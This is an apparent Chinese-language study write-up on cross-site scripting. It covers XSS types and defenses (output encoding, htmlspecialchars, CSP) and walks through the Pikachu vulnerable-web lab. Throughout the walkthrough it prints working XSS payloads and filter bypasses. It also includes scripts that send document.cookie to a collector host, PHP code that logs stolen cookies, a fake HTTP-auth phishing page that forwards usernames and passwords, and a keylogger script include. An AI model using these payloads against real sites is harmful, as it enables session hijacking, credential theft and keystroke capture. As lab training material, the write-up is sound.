文章目录
1. 关于xss
cwe: https://cwe.mitre.org/data/definitions/79.html
挖掘思路就是,对输入点反复测试,查看返回的源码。
1.1 分类
按危害性排名:存储型>反射型>DOM型
一般查询接口容易出现反射型xss,留言评论容易出现存储型xss。
1.2 和csrf区分一下
区别一:是否需要登录cookie
区别二:原理上,csrf利用网站本身漏洞,
核心原理是:不需要你做任何的登录认证,它会通过合法的操作(比如在url中输入、在评论框中输入),向你的页面注入脚本(可能是js、hmtl代码块等)。
导致的结果可能是:盗用Cookie破坏页面的正常结构,插入广告等恶意内容,以及DDOS攻击。
1.3 措施
传统的方法是:编码,过滤,校正。
原则就是,过滤输入,转义输出。
1.3.1 编码
常见编码/转义:
- html实体,包括十进制(⭧,), 十六进制(ᄑ), unicode编码(\u1111)
- url编码:
%11%22%33
对用户输入的数据进行HTML Entity 编码。将$var等变量作为纯文本进行输出,且不引起JavaScript的执行。
在OWASP ESAPI中推荐了一种更严格的HtmlEncode:除了字母、数字外,所有的特殊字符都被编码成HTMLEntities。
对于DOM Based XSS,如果是输出到事件或脚本,要做一次javascriptEncode;如果是输出到HTML内容或者属性,要做一次HtmlEncode。
有些框架会自动编码来解决XSS问题,如Ruby 3.0 、 React JS。
最好的办法是对所有不可信的HTTP请求数据进行恰当的转义 。
1.3.2 过滤
禁止页面的JS访问带有HttpOnly属性的Cookie。
网站允许用户提交一些自定义的HTML代码,称之为富文本,如视频表格,所以要移除用户输入的Style节点、Script节点、Iframe节点等。尤其是支持跨域的Script节点。
html实体
php的html实体转换函数,示例见存储型xss、htmlspecialchars
注意默认不编码单引号。
CSP
Content Security Policy (CSP) - HTTP | MDN (mozilla.org)
Content Security Policy,是对抗XSS的深度防御策略。
网页的开发者可以控制整个页面中 外部资源 的加载和执行。
比如可以控制哪些 域名下的静态资源可以被页面加载,哪些不能被加载。
我们只需要在meta属性中设置下即可:如下代码:
<meta http-equiv="Content-Security-Policy" content="">
1.3.3 校正
使用DOM Parse转换,校正不配对的DOM标签。
1.4 绕过
转换:大小写、拼接、注释、编码
可以使用burpsuite的编码模块。
img标签: <img src=1 onerror="alert(/xss/)">
。 但这种情况不能和url编码混用,因为不会解码。
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet, 这个网站每年会公布一些xss代码。
href属性支持[javascript伪协议](#xss href输出)
2. 靶场练习
可以使用bp repeater模块进行重放测试。
2.1 pikachu
反射型(GET)
随便提交几个1和敏感符号, 1111"'<>
都没有过滤,查看源码:
<p class='notice'>who is 1111"'<>,i don't care!</p>
改成1111</p><script>alert(1)</script>
,预期效果:
<p class='notice'>who is 1111</p><script>alert(1)</script> <P>,i don't care!</p>
但粘贴发现input限制了长度,需要改一下maxlength:
<input class="xssr_in" type="text" maxlength="20" name="message" />
然后成功弹窗。
反射型(POST)
连接失败则可能是靶机上还没有初始化数据库。
按照提示,先登录一下admin/123456, 然后和上一题get型一样,顺利弹窗。。。
F12看下包吧(bp repeater也可以)
发现有个302重定向到xss_reflected_post.php
直接看下源码,点击“退出登陆”会清空post_login.php设置的用户名和密码cookie,然后回到post_login.php;表单和上一题一样,只不过没限制输入长度。
xss_reflected_post.php里调用了check_xss_login()检查是否登录,否则会跳转回post_login.php。这一部分可以搭配pkxss管理后台来练习
存储型XSS
再次强调,留言评论容易出现存储型xss。
提交个aaa<>"'
试试
<p class='con'>aaa<>"'</p><a href='xss_stored.php?id=59'>删除</a>
提交的评论会显示在页面上。
再构造个script标签</p><script>alert("xss")</script>
:
<p class='con'> </p><script>alert("xss")</script> <p> </p><a href='xss_stored.php?id=59'>删除</a>
成功弹窗。
再构造个img标签</p><img src="#" onclick="alert('xss')">一张图片</img><p>
<p class='con'> </p><img src="#" onclick="alert('xss')">一张图片</img><p> </p><a href='xss_stored.php?id=59'>删除</a>
只要点击图片就会弹窗。
现在看下源码里从数据库取出评论然后显示的逻辑:
<?php echo $html;
$query="select * from message";
$result=execute($link, $query);
while($data=mysqli_fetch_assoc($result)){
echo "<p class='con'>{$data['content']}</p><a href='xss_stored.php?id={$data['id']}'>删除</a>";
}
echo $html;
?>
加一下过滤:
<?php echo $html;
$query="select * from message";
$result=execute($link, $query);
while($data=mysqli_fetch_assoc($result)){
$encoded_data = htmlspecialchars($data['content']);
echo "<p class='con'>{$encoded_data}</p><a href='xss_stored.php?id={$data['id']}'>删除</a>";
}
echo $html;
?>
刚刚提交的xss就失效了:
DOM xss
查看源码:
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
//试试:'><img src="#" οnmοuseοver="alert('xss')">
//试试:' οnclick="alert('xss')">,闭合掉就行
</script>
答案也在注释里给出来了,其实就是闭合这个a标签
<a href=' '>what do you see?</a>;
不加>
也可以
<a href=' ' onclick="alert('xss')" '>what do you see?</a>;
点击“what do you see”就会弹窗。
DOM xss-x
<script>
function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' '); // 加号替换为空格
// alert(xss);
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
//试试:'><img src="#" οnmοuseοver="alert('xss')">
//试试:' οnclick="alert('xss')">,闭合掉就行
</script>
<form method="get">
<input id="text" name="text" type="text" value="" />
<input id="submit" type="submit" value="请说出你的伤心往事"/>
</form>
<div id="dom"></div>
<a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>
这一题需要构造好输入后,先点击"请说出你的伤心往事"提交get请求,再点击“有些费尽心机想要忘记的事情,后来真的就忘掉了”执行domxss()函数。
xss盲打
盲打就是在一切可能的地方尽可能多的提交xss语句. payload不会在前端进行输出,当管理员查看时就会遭到xss攻击。
随便输入点什么,会显示“谢谢参与,阁下的看法我们已经收到!”。
点击提示,说先访问admin_login.php登录一下,然后就会在admin.php显示刚刚提交的评论。
再次提交一段xss代码(aaa<script>alert("xss")</script>
)后访问admin.php,会弹两次窗。
<?php
$query="select * from xssblind";
$result=mysqli_query($link, $query);
while($data=mysqli_fetch_assoc($result)){
$html=<<<A
<tr>
<td>{$data['id']}</td>
<td>{$data['time']}</td>
<td>{$data['content']}</td>
<td>{$data['name']}</td>
<td><a href="admin.php?id={$data['id']}">删除</a></td>
</tr>
A;
echo $html;
}
?>
xss过滤
尝试大小写绕过:<SCRIPT>alert("XSS");</SCRIPT>
, 成功弹窗
尝试拼凑:<scr<script>ipt>alert("xss")</scr</script>ipt>
, 失败,变成了ipt>alert("xss")ipt>
。
尝试注释干扰:<scr<!--x-->ipt>alert("xss")</scr<!--x-->ipt>
,失败,还是变成了ipt>alert("xss")ipt>'
尝试用其它标签:<img src=1 onmouseover="alert('xss');">
, 成功弹窗,,onclick onerror也都行
尝试hex编码:
>>> strXss='<img src=\'alert("xss");\'>'
>>> for i in strXss:
... a = hex(ord(i)).replace("0x", "%")
... print(a, end="")
...
%3c%69%6d%67%20%73%72%63%3d%27%61%6c%65%72%74%28%22%78%73%73%22%29%3b%27%3e
失败,,
看下源码xss_01.php,过滤的是<script
:
$html = '';
if(isset($_GET['submit']) && $_GET['message'] != null){
//这里会使用正则对<script进行替换为空,也就是过滤掉
$message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);
if($message == 'yes'){
$html.="<p>那就去人民广场一个人坐一会儿吧!</p>";
}else{
$html.="<p>别说这些'{$message}'的话,不要怕,就是干!</p>";
}
}
htmlspecialchars
PHP: htmlspecialchars - Manual
输入aaa
<a href="aaa">aaa</a>
输入aaa<>"'
<a href="aaa<>"" '="">aaa<>"'</a>
单引号似乎没处理好,再单独提交一个单引号:
<a href=" " '=""> '</a>
又多试了几次,单引号会变成双引号,而且后面会加上'="
。
像这种引号不好用的时候,可以用反斜杠表示字符串,alert(/xss/)
提交1" onclick="alert(/xss/)
,点击并没有弹窗。但换成单引号后,1' onclick='alert(/xss/)
, 点击就能弹窗了。
htmlspecialchars默认是不处理单引号的,,但刚刚的双引号是怎么回事???
看下源码:
//使用了htmlspecialchars进行处理,是不是就没问题了呢,htmlspecialchars默认不对'处理
$message=htmlspecialchars($_GET['message']);
$html1.="<p class='notice'>你的输入已经被记录:</p>";
//输入的内容被处理后输出到了input标签的value属性里面,试试:' οnclick='alert(111)'
// $html2.="<input class='input' type='text' name='inputvalue' readonly='readonly' value='{$message}' style='margin-left:120px;display:block;background-color:#c0c0c0;border-style:none;'/>";
$html2.="<a href='{$message}'>{$message}</a>";
这里直接用伪协议填充href也可以,payload: javascript:alert(/xss/)
xss href输出
后端把引号都过滤了:
if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="<p class='notice'>叫你输入个url,你咋不听?</p>";
}
if($_GET['message'] == 'www.baidu.com'){
$html.="<p class='notice'>我靠,我真想不到你是这样的一个人</p>";
}else {
//输出在a标签的href属性里面,可以使用javascript协议来执行js
//防御:只允许http,https,其次在进行htmlspecialchars处理
$message=htmlspecialchars($_GET['message'],ENT_QUOTES);
$html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>";
}
}
直接用伪协议填充href也可以,payload: javascript:alert(/xss/)
防范方法:判断字符串以http或者https开头
xss js输出
提交几个a,查看源码:
<script>
$ms='aaaaaaa';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script>
//...
<p id="fromjs"></p>
提交引号和尖括号都能带进ms变量:$ms=''"<>';
现在构造输入来闭合script标签:'</script><script>alert(/xss/)</script><script>$a='1
<script>
$ms=''</script><script>alert(/xss/)</script><script>$a='1';
if($ms.length != 0){
//...
</script>
成功弹窗。
也可以输入';alert(/xss/);//
查看下源码:
if(isset($_GET['submit']) && $_GET['message'] !=null){
$jsvar=$_GET['message'];
// $jsvar=htmlspecialchars($_GET['message'],ENT_QUOTES);
if($jsvar == 'tmac'){
$html.="<img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/tmac.jpeg' />";
}
}
把htmlspecialchars注释去掉,则刚刚的payload失效:
<script>
$ms='`'</script><script>alert(/xss/)</script><script>$a='1`';
if($ms.length != 0){
//...
pkxss-盗取cookie
pikachu 管理工具里面提供了一个简易的xss管理后台, 用来测试钓鱼和捞cookie。
cookies最典型的应用就是判断用户是否登录。网购购物车也常用到cookie。
后台的cookie.php中,为了防止被目标怀疑,也要重定向到一个可信的网站,这里重定向到靶场主页:
//这个是获取cookie的api页面
if(isset($_GET['cookie'])){
$time=date('Y-m-d g:i:s');
$ipaddress=getenv ('REMOTE_ADDR');
$cookie=$_GET['cookie'];
$referer=$_SERVER['HTTP_REFERER'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$query="insert cookies(time,ipaddress,cookie,referer,useragent)
values('$time','$ipaddress','$cookie','$referer','$useragent')";
$result=mysqli_query($link, $query);
}
header("Location:http://192.168.1.4/pk/index.php");//重定向到一个可信的网站
这里拿需要登录的post反射型
题目来示范。
构建一下payload,
<script>document.location='http://10.10.10.133/pk/pkxss/xcookie/cookie.php?cookie='+document.cookie</script>
xss/xsspost/post_login.php
登录后,xss_reflected_post.php输入payload,成功重定向到了首页,然后F12查看下cookie:
pkxss查看一下后台,cookie是一样的:
现在,访问/pk/vul/xss/xsspost/xss_reflected_post.php会重定向到post_login.php,F12设置一下cookie,就不会重定向了。另外path可以不设置(原本应是/pk/vul/xss/xsspost)。
也可以使用pk\pkxss\xcookie\post.html,它是重定向到了xss_reflected_post.php。当然这个网页还需要做的再真实一点。
<form method="post" action="http://192.168.1.4/pk/vul/xss/xsspost/xss_reflected_post.php">
<input id="xssr_in" type="text" name="message" value=
"<script>
document.location = 'http://192.168.1.15/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>"
/>
<!-- type最好改成hidden -->
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
pkxss-钓鱼
PHP 以 Apache 模块方式运行时的HTTP 认证机制:https://www.php.net/manual/en/features.http-auth.php
两个关键的预定义变量:
$_SERVER[PHP_AUTH_USER]
$_SERVER[PHP_AUTH_PW]
$_SERVER[AUTH_TYPE]
以下是pk\pkxss\xfish\fish.php
源码:
<?php
error_reporting(0);
// var_dump($_SERVER);
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
//发送认证框,并给出迷惑性的info
header('Content-type:text/html;charset=utf-8');
header("WWW-Authenticate: Basic realm='认证'");
header('HTTP/1.0 401 Unauthorized');
echo 'Authorization Required.';
exit;
} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
//将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
header("Location: http://192.168.1.15/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}
&password={$_SERVER[PHP_AUTH_PW]}"); // IP需要改一下
}
?>
以存储型xss为例,构造payload:
</p><script>document.location='http://10.10.10.133/pk/pkxss/xfish/fish.php'</script>
提交后弹窗要求输入用户密码,然后会重定向到xfish.php。
xfish.php没有再次重定向,可以修改一下让它跳到一个正常的网页。
pkxss查看数据库:
目标机器再次访问存储型xss页面时,没有再弹窗,可以抓包看下变化。
清空缓存并重启浏览器后抓包:
GET /pk/pkxss/xfish/fish.php HTTP/1.1
Host: 10.10.10.133
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.10.10.133/pk/vul/xss/xss_stored.php
Cookie: PHPSESSID=p97rfldn0o7jas8vhl8d7f3tu6
Upgrade-Insecure-Requests: 1
认证后抓包:
GET /pk/pkxss/xfish/fish.php HTTP/1.1
Host: 10.10.10.133
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46MTIzNDU2
Connection: close
Referer: http://10.10.10.133/pk/vul/xss/xss_stored.php
Cookie: PHPSESSID=vju2kqi6m7drihj3kkgps1c7v1
Upgrade-Insecure-Requests: 1
对比发现,认证后多出Authorization: Basic YWRtaW46MTIzNDU2
,一串base64编码。
另外如果现在是在友情测试,这个页面现在会一直重定向,需要给它恢复一下,有两种方法:
- 管理员删除数据库
- 前端有删除按钮,抓包看链接内容,跳转到xss_stored.php?id=ID就删除了。
pkxss-键盘记录
pk/pkxss/rkeypress/rk.js和rkserver.php,可以学习一下如何跨域。
构建payload:
</p><script src='http://10.10.10.133/pk/pkxss/rkeypress/rk.js' />
这里抓包可以执行了rk.js,但后台没有看到数据。。需要找一个老一些的浏览器。。